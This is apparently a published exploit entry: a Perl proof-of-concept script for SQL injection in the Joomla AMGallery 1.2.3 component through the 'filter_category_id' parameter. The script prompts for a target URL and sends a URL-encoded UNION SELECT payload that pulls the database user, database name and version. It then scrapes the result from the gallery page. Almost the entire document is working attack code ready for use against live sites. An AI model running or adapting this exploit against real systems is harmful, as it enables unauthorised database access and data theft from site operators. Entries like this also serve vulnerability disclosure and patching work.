Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection

# Exploit Title: Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection
# Exploit Author: Ihsan Sencan
# Dork: N/A
# Date: 2018-09-18
# Vendor Homepage: http://arenam.ru/
# Software Link: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/amgallery/
# Version: 1.2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #

# # # # #
# POC: 
# 
# 1)
# # # # #

#!/usr/bin/perl -w
# # # # #

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "
################################################################################
        ______  _______ ___    _   __   _____ _______   ___________    _   __ 
       /  _/ / / / ___//   |  / | / /  / ___// ____/ | / / ____/   |  / | / / 
       / // /_/ /\__ \/ /| | /  |/ /   \__ \/ __/ /  |/ / /   / /| | /  |/ /
     _/ // __  /___/ / ___ |/ /|  /   ___/ / /___/ /|  / /___/ ___ |/ /|  /
    /___/_/ /_//____/_/  |_/_/ |_/   /____/_____/_/ |_/\____/_/  |_/_/ |_/
                                       
                                       +                                     
                Joomla! Component AMGallery 1.2.3 - SQL Injection          
################################################################################
";

use LWP::UserAgent;
print "\nTarget:[http://site.com/path/]: "; 
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress.....\n";
print "\n";
$efe="%2d%36%36%36%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%23";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0');
$host = $target . "?filter_category_id=".$efe."";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/<h2 class="amGalleryCatTitle">(.*?)<\/h2>/){ 
print "[+] Success !!!\n";
print "\n[+] Detail : $1\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}